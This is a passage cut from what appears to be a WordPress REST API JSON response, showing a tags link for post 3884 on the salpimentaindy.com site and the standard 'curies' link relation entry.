:"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/tags?post=3884"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}